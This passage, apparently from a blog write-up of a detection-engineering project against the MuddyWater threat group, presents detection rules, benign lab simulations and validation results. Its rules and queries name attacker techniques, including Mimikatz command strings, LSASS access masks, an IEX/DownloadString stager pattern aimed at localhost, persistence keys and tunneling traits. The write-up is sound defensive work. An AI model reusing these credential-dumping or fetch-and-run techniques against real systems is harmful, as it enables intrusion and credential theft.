artifact) — immediate alert<br>event_type = scheduled_task_created AND<br>task_trigger_repetition_interval = "PT43M"<br><br># Rule B - Behavioral: short interval + suspicious action path<br>event_type = scheduled_task_created AND<br>task_trigger_repetition_interval_minutes &lt; 60 AND<br>task_action_path MATCHES "(\\AppData\\|\\Temp\\|\\ProgramData\\|\\Users\\)" AND<br>creating_process NOT IN ["svchost.exe","taskeng.exe","msiexec.exe"]<br># Rule C - Sysmon command line fallback<br>event_type = process_create AND<br>image ENDSWITH "schtasks.exe" AND<br>command_line MATCHES "/create" AND<br>command_line MATCHES "(AppData|Temp|ProgramData)"</pre><p><strong>Key false positives:</strong> Backup and monitoring software creating frequent tasks. Browser update mechanisms. Rule B requires interval baseline per environment before production deployment.</p><h4>det_mw_0007 — RMM Tool Executed from User-Writable Path</h4><p><em>Techniques: T1219 · Score: 5 (lab-validated)</em></p><p><strong>What it targets:</strong> RMM tool abuse is the most consistently documented MuddyWater technique across all source tiers — five independent government and vendor sources corroborate it. Tool inventory across campaigns: ScreenConnect (2022), SyncroRAT (Israel 2023), rport.exe (DarkBit operation), AteraAgent (multiple sources), SimpleHelp, Level, PDQConnect (2024).</p><p><strong>Why it’s built this way:</strong> RMM tool detection is inherently a context problem. The binary is legitimate. The network traffic to vendor infrastructure is legitimate. Only the delivery chain and execution path are anomalous. Three rules address this from different angles.</p><p>Rule A uses path as the primary signal: a legitimately IT-deployed RMM tool installs to Program Files or a managed path, not AppData/Temp/Downloads. A known RMM binary executing from a user-writable path means it was delivered, not installed by IT.</p><p>Rule B uses parent process as the signal: no legitimate RMM deployment is spawned by Outlook, a browser, or an archive utility. This is the delivery-context constraint — if an RMM binary’s parent is OUTLOOK.EXE, the delivery chain is phishing regardless of what the binary is.</p><p>Rule C uses network destination: RMM infrastructure connections from endpoints with no authorized RMM deployment are anomalous. Rules A+C together — RMM binary from writable path plus outbound connection to vendor domain — form the highest-confidence combined signal.</p><p><strong>The baseline prerequisite is non-negotiable.</strong> Rule C without a baseline of authorized RMM deployments per endpoint generates constant noise in any environment that legitimately uses RMM tools. This is the single highest-ROI detection in the dataset if the baseline is clean.</p><p><strong>Required telemetry:</strong> EDR or Sysmon Event ID 1 with parent image and file path. Network flow or proxy logs with process name attribution for Rule C.</p><pre># Rule A — Known RMM binary from non-standard installation path<br>event_type = process_create AND<br>(image ENDSWITH "AteraAgent.exe" OR<br> image ENDSWITH "ScreenConnect.exe" OR<br> image ENDSWITH "SimpleHelp.exe" OR<br> image ENDSWITH "rport.exe" OR<br> image ENDSWITH "SyncroRAT.exe" OR<br> image ENDSWITH "Level.exe" OR<br> image ENDSWITH "PDQConnect.exe") AND<br>image_path MATCHES "(\\AppData\\|\\Temp\\|\\Downloads\\|\\Users\\[^\\]+\\Desktop\\)"<br><br># Rule B - RMM binary spawned by email client or browser<br>event_type = process_create AND<br>(image ENDSWITH "AteraAgent.exe" OR image ENDSWITH "ScreenConnect.exe" OR<br> image ENDSWITH "SimpleHelp.exe" OR image ENDSWITH "rport.exe") AND<br>parent_image IN ["OUTLOOK.EXE","outlook.exe","chrome.exe","firefox.exe",<br>                 "msedge.exe","7zFM.exe","WinRAR.exe","explorer.exe"]<br># Rule C - Outbound connection to RMM vendor infrastructure from unexpected endpoint<br>event_type = network_connection AND<br>destination_domain MATCHES "(atera\.com|screenconnect\.com|simplehelp\.net|syncromsp\.com)" AND<br>source_process NOT IN [known_rmm_processes_baseline]</pre><p><strong>Key false positives:</strong> All RMM tools are legitimate software — the entire detection depends on delivery context and path. Authorized deployments must be baselined per endpoint before any rule produces useful signal. Help desk technicians installing RMM from their downloads folder will match Rule A; exclude by user account or machine type.</p><h4>det_mw_0008a — Non-Browser Process Connecting to Telegram Bot API</h4><p><em>Techniques: T1071.001, T1102 · Score: 3 (behavioral, partially validated)</em></p><p><strong>What it targets:</strong> Small Sieve beacons exclusively via the Telegram Bot API (api.telegram.org) over HTTPS. This is one of the most specific C2 channels documented for MuddyWater — a fixed, known hostname with no CDN rotation.</p><p><strong>Why it’s built this way:</strong> The detection is single-rule because the signal is specific enough not to need graduated fallbacks. api.telegram.org is a fixed hostname. The discriminating condition is not the domain but the process: in enterprise environments where Telegram is not a standard application, any process connecting to this endpoint is anomalous. The approach is deliberately narrow — it will miss if MuddyWater switches from Telegram to another messaging API, but fires with high precision on the documented Small Sieve C2 channel.</p><p>Score is 3 because VirtualBox NAT blocked outbound Telegram connections in the lab, preventing full Kibana validation of the network connection event.</p><p><strong>Required telemetry:</strong> DNS query logs or network flow logs with process name attribution. In environments without process-attributed network telemetry, this degrades to a domain-based alert with no process context.</p><pre>event_type = network_connection AND<br>destination_domain = "api.telegram.org" AND<br>destination_port = 443 AND<br>source_process NOT IN ["Telegram.exe","telegram.exe","chrome.exe",<br>                        "firefox.exe","msedge.exe","iexplore.exe"]</pre><p><strong>Key false positives:</strong> Telegram desktop application where it is approved. Bot developers testing scripts from dev workstations. In organizations where Telegram is standard, strict process allowlisting is required before this detection is useful.</p><h4>det_mw_0008b — DNS Tunneling Volume and Entropy</h4><p><em>Techniques: T1572 · Score: 5 (lab-validated)</em></p><p><strong>What it targets:</strong> Mori, MuddyWater’s DNS-tunneling backdoor, uses DNS queries as the C2 channel. DNS tunneling encodes data in subdomain labels, producing distinctive patterns: high query volume to a single domain, unusually long subdomain strings, and high Shannon entropy in the label content.</p><p><strong>Why it’s built this way:</strong> DNS tunneling detection cannot rely on a single heuristic because each heuristic has a different failure mode. Volume (Rule A) catches high-throughput tunneling but misses slow/low-rate tools that deliberately throttle to blend in. Label length (Rule B) catches encoded payloads regardless of rate or entropy but misses short encoded segments. Entropy (Rule C) catches random-looking subdomains at any length and rate but produces noise on CDN hash labels without a comprehensive baseline. The three rules are additive — any single trigger warrants investigation, two or more from the same source are high-confidence.</p><p>The thresholds (&gt;100 queries per 60 seconds, &gt;40-character labels, &gt;3.5 Shannon entropy) were validated in the lab by generating 180 DNS queries with 42-character random subdomains from the simulation playbook.</p><p><strong>Required telemetry:</strong> DNS resolver logs with full QNAME — not available in all environments. If only DNS flow logs (not query content) are available, Rule B and Rule C are unavailable.</p><pre># Rule A — High query volume to single parent domain<br>event_type = dns_query<br>GROUP BY source_ip, query_domain_parent<br>HAVING COUNT(*) &gt; 100 WITHIN 60 seconds<br><br># Rule B - Long subdomain labels (&gt;40 chars indicates encoded payload)<br>event_type = dns_query AND<br>LENGTH(subdomain_label) &gt; 40<br># Rule C - High entropy subdomains (random-looking encoded content)<br>event_type = dns_query AND<br>SHANNON_ENTROPY(subdomain_label) &gt; 3.5 AND<br>subdomain_label NOT IN [known_cdn_domains_baseline]</pre><p><strong>Key false positives:</strong> CDN domains using hash-based subdomains (Akamai, Cloudflare, AWS) — require comprehensive allowlist for Rule C. DNSSEC validation traffic with long encoded keys. Calibrate thresholds against your specific environment’s DNS baseline before deploying Rule A in production.</p><h4>det_mw_0009 — WMI SecurityCenter2 Discovery Survey</h4><p><em>Techniques: T1047, T1082, T1016, T1033, T1518.001 · Score: 5 (lab-validated)</em></p><p><strong>What it targets:</strong> CISA AA22–055A reproduces the exact PowerShell survey script MuddyWater uses post-access: a WMI query chain that collects IP addresses (Win32_NetworkAdapterConfiguration), OS name and architecture (Win32_OperatingSystem), hostname, domain, username (Win32_ComputerSystem), and AV product names (root\SecurityCenter2\AntiVirusProduct). The collected data is assembled into a delimited string, encoded, and sent to C2.</p><p><strong>Why it’s built this way:</strong> The detection anchors on SecurityCenter2\AntiVirusProduct because it is the highest-specificity WMI class in the documented survey. The other classes — OS name, IP addresses, hostname — are queried by dozens of legitimate monitoring tools. AntiVirusProduct enumeration has a much smaller legitimate caller population: primarily AV management consoles and endpoint security platforms. This makes it the most reliable low-noise signal from the full survey chain.</p><p>Three rules are layered by telemetry quality. Rule A requires Script Block Logging (highest fidelity, decoded script content visible). Rule B falls back to command-line logging — medium fidelity, only fires if SecurityCenter2 appears in the literal command line, not in a decoded payload. Rule C is the most specific: a multi-class pattern that matches the complete documented survey chain, covering all five ATT&amp;CK techniques in a single event. T1033 coverage was added to Rule C via Win32_ComputerSystem during the analyst review pass — it was missing from the initial draft.</p><p>Rule C matches the CISA-documented script closely enough to be treated as near-exact-match when observed.</p><p><strong>Required telemetry:</strong> Script Block Logging (Event ID 4104) — required for Rules A and C. Sysmon Event ID 1 for Rule B.</p><pre># Rule A — Script Block captures SecurityCenter2 query<br>event_type = script_block_log AND<br>script_block_text MATCHES "SecurityCenter2" AND<br>script_block_text MATCHES "AntiVirusProduct"<br><br># Rule B - Process command line contains SecurityCenter2 (fallback without SBL)<br>event_type = process_create AND<br>image ENDSWITH "powershell.exe" AND<br>command_line MATCHES "SecurityCenter2"<br># Rule C - Full survey pattern: all 5 ATT&amp;CK techniques in one event<br># T1518.001 (AV enum) + T1016 (network config) + T1082 (OS info) + T1033 (username)<br>event_type = script_block_log AND<br>script_block_text MATCHES "SecurityCenter2" AND<br>script_block_text MATCHES "Win32_NetworkAdapterConfiguration" AND<br>script_block_text MATCHES "Win32_OperatingSystem" AND<br>script_block_text MATCHES "(Win32_ComputerSystem|Win32_UserAccount|UserName)"</pre><p><strong>Key false positives:</strong> AV management software and endpoint security platforms querying SecurityCenter2. IT inventory tools (Lansweeper, SCCM hardware inventory). Exclude by process hash or signer rather than by process name, since attackers can rename their scripts.</p><h4>det_mw_0010 — LSASS Memory Access and Credential Tool Execution</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*J0Q8ExDAG7jBY7duoI35MA.png"></figure><p><em>Techniques: T1003.001, T1003.004, T1003.005 · Score: 5 (lab-validated)</em></p><p><strong>What it targets:</strong> MuddyWater performs credential access using three tools documented in CISA AA22–055A: Mimikatz and procdump64.exe against LSASS memory (T1003.001), and LaZagne for LSA secrets (T1003.004) and cached domain credentials (T1003.005).</p><p><strong>Why it’s built this way:</strong> Three independent rules cover the full credential dumping lifecycle, each with a different detection philosophy.</p><p>Rule A is the design priority: a process accessing LSASS memory is the universal pre-condition for any LSASS dump, regardless of tool. Detecting the access event (Sysmon EID 10) rather than the tool name means Rule A fires on Mimikatz, procdump, custom C++ loaders, and any future variant — as long as the access mask is in the covered set. The access masks were sourced from established Mimikatz research (0x1010, 0x1410, 0x1438, 0x143a, 0x1418) and extended with 0x1fffff (PROCESS_ALL_ACCESS, used by custom dumpers) and 0x1f0fff (another all-access variant observed in the field). The exclusion list covers known legitimate callers — AV engines, CSrss, WinInit — without which this rule generates constant noise from endpoint security products.</p><p>Rule B is the name-based backstop. Lower fidelity because it misses renamed tools, but catches actors using stock Mimikatz. The analyst review pass re-bracketed the command_line clause to keep it inside the event_type guard — a real operator precedence bug that would have caused the command-line check to match events outside the process_create filter.</p><p>Rule C catches the dump artifact on disk — a final fallback when process-level events are unavailable. .dmp files in user-writable paths are anomalous outside of Windows Error Reporting, which writes to a fixed known path.</p><p><strong>Required telemetry:</strong> Sysmon Event ID 10 (ProcessAccess) with explicit lsass.exe targeting in the Sysmon configuration — this is not enabled by default. Without it, Rule A does not exist. Sysmon Event ID 1 for Rule B. Sysmon Event ID 11 for Rule C.</p><pre># Rule A — LSASS process access (tool-agnostic, highest confidence)<br>event_type = process_access AND<br>target_image ENDSWITH "lsass.exe" AND<br>granted_access MATCHES "(0x1010|0x1410|0x1438|0x143a|0x1418|0x1fffff|0x1f0fff)" AND<br>source_image NOT IN ["MsMpEng.exe","csrss.exe","wininit.exe","svchost.exe",<br>                     "SecurityHealthService.exe","CylanceSvc.exe","SentinelAgent.exe"]<br><br># Rule B - Known credential tool execution (name-based backstop)<br># command_line clause is bracketed inside event_type guard (bug fix in review)<br>event_type = process_create AND<br>(image IMATCHES "mimikatz\.exe" OR<br> image ENDSWITH "procdump64.exe" OR<br> image IMATCHES "lazagne\.exe" OR<br> command_line IMATCHES "(sekurlsa|lsadump|privilege::debug)")<br># Rule C - Dump file creation in user-writable path (artifact backstop)<br>event_type = file_create AND<br>file_extension = "dmp" AND<br>file_path MATCHES "(\\AppData\\|\\Temp\\|\\Users\\|\\ProgramData\\)"</pre><p><strong>Key false positives:</strong> AV and EDR agents that legitimately access LSASS — exclude by process hash, not name, since names are spoofable. Windows Error Reporting creating .dmp files in %TEMP%\WER — exclude that specific path in Rule C. Legitimate procdump usage by developers for application crash diagnostics — require a separate approved-tools baseline.</p><p><strong>Important environment note:</strong> Credential Guard and PPL (Protected Process Light) prevent LSASS reads on modern, hardened systems. If your environment has these enabled, LSASS dump detection is still valuable as a canary for misconfigured or unpatched endpoints, but confirm protection status before using coverage scores here as a measure of actual protection.</p><h3>Phase 5: Validation Lab</h3><h4>Architecture</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8U-N2gM0mGw6qRI7SG06dw.png"></figure><h4>Deploy in One Command</h4><pre>git clone https://github.com/anpa1200/operation-desert-hydra.git<br>cd operation-desert-hydra<br>cp stack/.env.template stack/.env   # fill in passwords<br>bash start.sh</pre><p>start.sh creates the Docker network, starts all stack services, waits for Elasticsearch, boots the Windows 10 Vagrant VM, provisions it via Ansible (Sysmon + Script Block Logging + Winlogbeat), and runs all 11 simulations.</p><h4>Simulation Design</h4><p>Every simulation is <strong>benign-by-design</strong>:</p><ul><li>No live malware, no real C2, no credential exfiltration</li><li>Simulations write benign files (VBScript with Write-Host payload), run real Windows binaries with harmless arguments, or use .NET to open process handles with minimal access masks</li><li>All .dmp files are deleted immediately after event confirmation</li><li>The VM does not connect to real Telegram infrastructure</li></ul><p>The Ansible playbook (lab/ansible/playbooks/validate.yml) runs each simulation, waits 3 seconds, queries the Windows Event Log with Get-WinEvent -FilterHashtable (time-bounded to the last 60 seconds), and prints PASS / FAIL.</p><h4>Step 21: det_mw_0001 — Spearphishing Delivery Chain</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8bLoGgU_easNlOr4ZndCgg.png"></figure><p><strong>What MuddyWater does:</strong> Delivers a ZIP or Office file via email or Egnyte/OneDrive link. The attachment contains a VBScript or WSF file that spawns a hidden encoded PowerShell loader (PowGoop/POWERSTATS).</p><p><strong>Simulation:</strong> wscript.exe sim_delivery.vbs → powershell.exe -WindowStyle Hidden -NonInteractive -EncodedCommand &lt;Base64&gt;</p><p><strong>KQL proof query:</strong></p><pre>winlog.event_id: 1<br>AND winlog.event_data.ParentImage: *wscript.exe*<br>AND winlog.event_data.Image: *powershell.exe*<br>AND winlog.event_data.CommandLine: *EncodedCommand*</pre><p><strong>Result: PASS</strong> — Sysmon EID 1 captured wscript.exe → powershell.exe -EncodedCommand. Parent-child chain and Base64 command line both visible in Kibana.</p><h4>Step 22: det_mw_0002 — Web Service Shell Spawn</h4><p><strong>What MuddyWater does:</strong> Exploits Exchange (CVE-2020–0688), IIS, or Log4j (CVE-2021–44228) — web-facing service spawns cmd.exe or powershell.exe for post-exploitation recon.</p><p><strong>Simulation:</strong> wscript.exe sim_exploit.vbs → cmd.exe /c whoami &amp; hostname &amp; ipconfig /all</p><p><strong>KQL proof query:</strong></p><pre>winlog.event_id: 1<br>AND winlog.event_data.ParentImage: *wscript.exe*<br>AND winlog.event_data.Image: *cmd.exe*<br>AND winlog.event_data.CommandLine: (*whoami* OR *hostname* OR *ipconfig*)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PdbeaS4qAhZO0Abz1vnxlw.png"></figure><p><strong>Result: PASS</strong> — Sysmon EID 1 captured wscript.exe → cmd.exe with recon commands in CommandLine.</p><h4>Step 23: det_mw_0003 — PowerShell Encoded Command</h4><p><strong>What MuddyWater does:</strong> PowGoop uses -EncodedCommand for C2 setup. POWERSTATS uses IEX + (New-Object Net.WebClient).DownloadString(...) for stager execution.</p><p><strong>Rule A simulation:</strong> powershell.exe -NonInteractive -e &lt;Base64(Write-Host "test")&gt;</p><p><strong>KQL — Rule A:</strong></p><pre>winlog.event_id: 1<br>AND winlog.event_data.CommandLine: *-e*<br>AND winlog.event_data.CommandLine: *[A-Za-z0-9+/]{40,}*</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t-a6QvN0QQMAwrYTgedLgw.png"></figure><p><strong>Rule A Result: PASS</strong> — 4 events captured. PowerShell with Base64 blob visible in command line.</p><p><strong>Rule B simulation:</strong> IEX ((New-Object Net.WebClient).DownloadString('http://127.0.0.1:19999/...'))</p><p><strong>KQL — Rule B:</strong></p><pre>winlog.event_id: 4104<br>AND winlog.event_data.ScriptBlockText: *IEX*<br>AND winlog.event_data.ScriptBlockText: *DownloadString*</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-VDCsOq78LyTENKxOUQjJg.png"></figure><p><strong>Rule B Result: PASS</strong> — 16 EID 4104 events. Script Block Logging decoded the IEX + DownloadString pattern.</p><blockquote><strong><em>Capability gate:</em></strong><em> Script Block Logging (EID 4104) must be explicitly enabled. Without it, Rule B is unavailable and detection degrades to command-line heuristics only.</em></blockquote><h4>Step 24: det_mw_0004 — DLL Side-Loading</h4><p><strong>What MuddyWater does:</strong> PowGoop drops Goopdate.dll alongside a copy of GoogleUpdate.exe outside the legitimate Google installation path. When GoogleUpdate launches, Windows loads the malicious DLL.</p><p><strong>Simulation:</strong> Copy a benign 4-byte MZ stub as goopdate.dll into a test directory alongside a signed binary. Launch the binary.</p><p><strong>Result: PARTIAL</strong> — Sysmon EID 7 (ImageLoad) did not fire. Root cause: a 4-byte MZ stub is not a valid loadable DLL — the Windows loader rejects it before generating an EID 7 event. The Sysmon config and detection rule are correct. <strong>Resolution:</strong> Re-test with a real GoogleUpdate.exe (requires Google Chrome installed on lab VM).</p><h4>Step 25: det_mw_0005 — Registry Run Key Persistence</h4><p><strong>What MuddyWater does:</strong> Small Sieve writes OutlookMicrosift to HKCU\...\CurrentVersion\Run — a deliberate typo designed to look like a Microsoft entry. Canopy drops a .wsf file to the Startup folder.</p><p><strong>Rule A simulation:</strong> Write OutlookMicrosift = notepad.exe to HKCU\...\Run</p><p><strong>KQL — Rule A:</strong></p><pre>winlog.event_id: 13<br>AND winlog.event_data.TargetObject: *CurrentVersion\Run\OutlookMicrosift*</pre><p><strong>Rule A Result: PASS</strong> — 3 Sysmon EID 13 events. OutlookMicrosift Run key captured.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RTAU8BoEU41ydMrali20PA.png"></figure><p><strong>Rule C simulation:</strong> Copy a benign .wsf file to %APPDATA%\...\Start Menu\Programs\Startup\</p><p><strong>KQL — Rule C:</strong></p><pre>winlog.event_id: 11<br>AND winlog.event_data.TargetFilename: *\Startup\*<br>AND winlog.event_data.TargetFilename: *.wsf*</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C6VaYiU1W6t9P7VM9Uyq6Q.png"></figure><p><strong>Rule C Result: PASS</strong> — 3 Sysmon EID 11 events. WSF file creation in Startup folder captured.</p><h4>Step 26: det_mw_0006 — Scheduled Task (43-Minute Beacon)</h4><p><strong>What MuddyWater does:</strong> BugSleep creates a scheduled task triggered every <strong>43 minutes</strong>. This interval is a BugSleep artifact — not a default, not a round number. It appears in INCD 2024 reporting and is one of the most precise technical IoCs in the dataset.</p><p><strong>Simulation:</strong> schtasks.exe /create /tn DH-SIM-0006-TestTask /tr notepad.exe /sc MINUTE /mo 43 /f</p><p><strong>KQL:</strong></p><pre>winlog.event_id: 1<br>AND winlog.event_data.Image: *\schtasks.exe*<br>AND winlog.event_data.CommandLine: */mo 43*</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8a6plhGCKeJFpgCePxizDA.png"></figure><p><strong>Result: PASS</strong> — 3 Sysmon EID 1 events. schtasks.exe /mo 43 captured. The 43-minute interval in the command line is the exact BugSleep artifact.</p><blockquote><strong><em>Hunt value:</em></strong><em> </em><em>PT43M in Task Scheduler Operational logs is a retroactive hunt trigger. One match = investigate immediately. No legitimate software uses this exact interval.</em></blockquote><h4>Step 27: det_mw_0007 — RMM Tool Abuse</h4><p><strong>What MuddyWater does:</strong> Delivers a legitimate RMM binary (ScreenConnect, SimpleHelp, AteraAgent, Level, PDQConnect) via phishing email or file-sharing link. The binary is placed in AppData, Temp, or Downloads — not installed by an IT management system. This is documented in all five government source tiers.</p><p><strong>Simulation:</strong> Copy ScreenConnect.ClientService.exe to C:\Temp\dh-lab\ and launch it.</p><p><strong>KQL:</strong></p><pre>winlog.event_id: 1<br>AND winlog.event_data.Image: *\Temp\ScreenConnect*</pre><p><strong>Result: PASS</strong> — 6 Sysmon EID 1 events. RMM binary executing from \Temp\ captured.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U9wgP3tZtCZYaEGIct6woQ.png"></figure><blockquote><strong><em>Production requirement:</em></strong><em> This detection requires a baseline of authorized RMM deployments per endpoint. Without the baseline, it generates noise. With it, any out-of-baseline RMM execution is an immediate high-confidence alert.</em></blockquote><h4>Step 28: det_mw_0008a — Telegram Bot API C2</h4><p><strong>What MuddyWater does:</strong> Small Sieve uses the Telegram Bot API (api.telegram.org:443) for C2 over HTTPS. In an enterprise environment where Telegram is not standard software, any non-browser process connecting to this domain is anomalous.</p><p><strong>Simulation:</strong> powershell.exe makes an HTTP request to https://api.telegram.org/botTEST/getMe (invalid token — 401 response; the connection attempt is the evidence).</p><p><strong>Result: FAIL</strong> — Sysmon EID 3 (NetworkConnect) did not fire. Root cause: VirtualBox NAT prevents Sysmon from capturing the outbound network connection to api.telegram.org in the lab environment. The Sysmon rule config is correct. <strong>Resolution:</strong> Re-test with a host-only NIC that provides direct internet access.</p><h4>Step 29: det_mw_0008b — DNS Tunneling</h4><p><strong>What MuddyWater does:</strong> Mori uses DNS tunneling for C2. High-volume queries with long, high-entropy subdomain labels are the telemetry signature.</p><p><strong>Simulation:</strong> 60 Resolve-DnsName queries with 42-character random labels against *.test.internal.</p><p><strong>KQL:</strong></p><pre>winlog.event_id: 22<br>AND winlog.event_data.QueryName: *.test.internal*</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yt5HdYyG3lGJi-pY88VPXA.png"></figure><p><strong>Result: PASS</strong> — 180 Sysmon EID 22 events captured. 42-character random labels visible in QueryName field. Volume threshold (Rule A) and label-length threshold (Rule B) would both trigger in a production deployment.</p><h4>Step 30: det_mw_0009 — WMI SecurityCenter2 Discovery</h4><p><strong>What MuddyWater does:</strong> CISA AA22–055A documents a post-access survey script that queries root\SecurityCenter2\AntiVirusProduct via WMI — enumerating the installed AV product before deciding how to proceed. This is also combined with OS info, network config, and user queries in a single script.</p><p><strong>Simulation (Rule A):</strong> Get-WmiObject -Namespace root/SecurityCenter2 -Class AntiVirusProduct</p><p><strong>KQL — Rule A:</strong></p><pre>winlog.event_id: 4104<br>AND winlog.event_data.ScriptBlockText: *SecurityCenter2*</pre><p><strong>Rule A Result: PASS</strong> — 21 PS EID 4104 events. SecurityCenter2 visible in decoded ScriptBlockText.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wpLAuTyJkLgoqezMzJWISA.png"></figure><blockquote><strong><em>Detection value:</em></strong><em> SecurityCenter2 + AntiVirusProduct is one of the highest-specificity behavioral signals in this dataset. Its legitimate caller population is tiny: only AV management consoles and a few inventory tools query this namespace. A PowerShell process making this query outside those exceptions warrants immediate investigation.</em></blockquote><h4>Step 31: det_mw_0010 — LSASS Memory Access</h4><p><strong>What MuddyWater does:</strong> Uses Mimikatz, procdump64.exe, and LaZagne to dump LSASS memory and extract credentials. CISA AA22–055A names all three tools.</p><p><strong>Rule A simulation:</strong> .NET OpenProcess(PROCESS_QUERY_INFORMATION, lsass.pid) — opens a handle to lsass.exe with a minimal access mask, triggering Sysmon EID 10.</p><p><strong>KQL — Rule A:</strong></p><pre>winlog.event_id: 10<br>AND winlog.event_data.TargetImage: *lsass.exe*<br>AND winlog.event_data.GrantedAccess: 0x1400</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G-oMtjgeEzuCIKfTDznKzA.png"></figure><p><strong>Rule A Result: PASS</strong> — 3,398 Sysmon EID 10 events with GrantedAccess: 0x1400 and TargetImage: lsass.exe. The high event count is expected — LSASS receives many legitimate handle requests from AV, EDR, and Windows system processes. Production deployment requires an allowlist of known-good callers.</p><p><strong>Rule C simulation:</strong> Write a 4-byte MDMP header as lsass_test.dmp to C:\Temp\dh-lab\ — triggers Sysmon EID 11.</p><p><strong>KQL — Rule C:</strong></p><pre>winlog.event_id: 11<br>AND winlog.event_data.TargetFilename: *.dmp*<br>AND winlog.event_data.TargetFilename: *Temp*</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TrCWgKcujqKdBRCX-OG26w.png"></figure><p><strong>Rule C Result: PASS</strong> — 6 Sysmon EID 11 events. C:\Temp\dh-lab\lsass_test.dmp creation captured.</p><blockquote><strong><em>Lab safety:</em></strong><em> The </em><em>.dmp file was deleted immediately after event confirmation. No credential material exists in the file — it was a 4-byte header stub. No real LSASS dump was performed.</em></blockquote><h3>Phase 5 Validation Results Summary</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yl6Y0h2_ePVKH3i8einFDQ.png"></figure><p>Full run: ansible-playbook playbooks/validate.yml — <strong>ok=70 changed=42 failed=0</strong></p><ul><li>Step 21 — <strong>det_mw_0001</strong> · Process spawn → <strong>PASS</strong></li><li>Step 22 — <strong>det_mw_0002</strong> · Shell from service → <strong>PASS</strong></li><li>Step 23 — <strong>det_mw_0003</strong> · Rule A (-e + Base64) → <strong>PASS</strong></li><li>Step 23 — <strong>det_mw_0003</strong> · Rule B (IEX + DownloadString) → <strong>PASS</strong></li><li>Step 24 — <strong>det_mw_0004</strong> · EID 7 ImageLoad → <strong>PARTIAL</strong></li><li>Step 25 — <strong>det_mw_0005</strong> · Rule A (OutlookMicrosift) → <strong>PASS</strong></li><li>Step 25 — <strong>det_mw_0005</strong> · Rule C (WSF in Startup) → <strong>PASS</strong></li><li>Step 26 — <strong>det_mw_0006</strong> · schtasks /mo 43 → <strong>PASS</strong></li><li>Step 27 — <strong>det_mw_0007</strong> · Rule A (RMM from \Temp) → <strong>PASS</strong></li><li>Step 27 — <strong>det_mw_0007</strong> · Rule B (RMM from PS parent) → <strong>PASS</strong></li><li>Step 28 — <strong>det_mw_0008a</strong> · EID 3 Telegram → <strong>FAIL</strong></li><li>Step 29 — <strong>det_mw_0008b</strong> · EID 22 DNS tunneling → <strong>PASS</strong></li><li>Step 30 — <strong>det_mw_0009</strong> · Rule A (SecurityCenter2 EID 4104) → <strong>PASS</strong></li><li>Step 30 — <strong>det_mw_0009</strong> · Rule B (wmic SecurityCenter2) → <strong>PASS</strong></li><li>Step 31 — <strong>det_mw_0010</strong> · Rule A (LSASS EID 10) → <strong>PASS</strong></li><li>Step 31 — <strong>det_mw_0010</strong> · Rule C (.dmp EID 11) → <strong>PASS</strong></li></ul><p><strong>13 PASS / 1 PARTIAL / 1 FAIL</strong> across 16 rule checks.</p><h3>Phase 6: Coverage Matrix</h3><p>Of 22 ATT&amp;CK techniques documented in the source set:</p><ul><li><strong>15 techniques (68%)</strong> — score 5, fully lab-validated</li><li><strong>2 techniques (9%)</strong> — score 4, correlated and validated via fallback</li><li><strong>4 techniques (18%)</strong> — score 3, rule present but validation incomplete</li><li><strong>7 techniques</strong> — score 0, no detection (Lateral Movement, Collection, Exfiltration, Impact)</li></ul><p><strong>The six capability gates</strong> that determine your effective coverage floor:</p><ul><li><strong>PowerShell Script Block Logging (EID 4104)</strong> — unlocks det_mw_0003 Rule B and det_mw_0009 Rules A/C. Without it: detection degrades to command-line heuristics only.</li><li><strong>Sysmon EID 10 (ProcessAccess)</strong> — unlocks det_mw_0010 Rule A (tool-agnostic LSASS access). Without it: falls back to binary name matching, misses custom dumpers.</li><li><strong>Sysmon EID 7 (ImageLoad)</strong> — unlocks det_mw_0004 (DLL side-loading). Without it: DLL loads are completely invisible.</li><li><strong>DNS resolver logging (full QNAME)</strong> — unlocks det_mw_0008b (DNS tunneling). Without it: Mori C2 channel is invisible.</li><li><strong>Network flow / proxy logs</strong> — unlocks det_mw_0007 Rule C and det_mw_0008a. Without it: RMM and Telegram C2 network-layer coverage lost.</li><li><strong>Email gateway telemetry (SEG)</strong> — unlocks det_mw_0001 full correlated logic. Without it: email-to-endpoint correlation unavailable.</li></ul><h3>What Defenders Should Do Right Now</h3><p><strong>1. Baseline your RMM deployments.</strong> det_mw_0007 is the most consistently documented MuddyWater technique across all five source tiers. It fires on ScreenConnect, SimpleHelp, AteraAgent, Level, and PDQConnect from non-standard paths. But it needs a baseline of authorized deployments first. Build the baseline; the detection logic is already written.</p><p><strong>2. Enable PowerShell Script Block Logging fleet-wide.</strong> One Group Policy change:</p><pre>Computer Configuration → Administrative Templates → Windows Components<br>→ Windows PowerShell → Turn on PowerShell Script Block Logging → Enabled</pre><p>This unlocks det_mw_0003 Rule B and all three det_mw_0009 rules. No other change required.</p><p><strong>3. Configure Sysmon ProcessAccess against lsass.exe.</strong> Without it, LSASS credential dumping detection is binary-name-only. Renamed Mimikatz and custom C++ dumpers are invisible. Add &lt;ProcessAccess onmatch="include"&gt; targeting lsass.exe to sysmon.xml.</p><p><strong>4. Hunt for PT43M now.</strong> Query your Task Scheduler Operational logs for any task with a RepetitionInterval of PT43M. If you find one you didn't create, that is BugSleep. No other legitimate software uses this interval.</p><h3>Reproduce It Yourself</h3><p>The entire project is on GitHub: <a href="https://github.com/anpa1200/operation-desert-hydra"><strong>github.com/anpa1200/operation-desert-hydra</strong></a></p><p>One repository contains everything: Docker Compose stack (OpenCTI + Elasticsearch + Kibana), Vagrant lab VM, Ansible provisioning playbooks, detection rules in four formats (Sigma, KQL, Elastic JSON, SPL), structured intelligence datasets (YAML), and all 12 proof screenshots.</p><p><strong>Deploy:</strong></p><pre>git clone 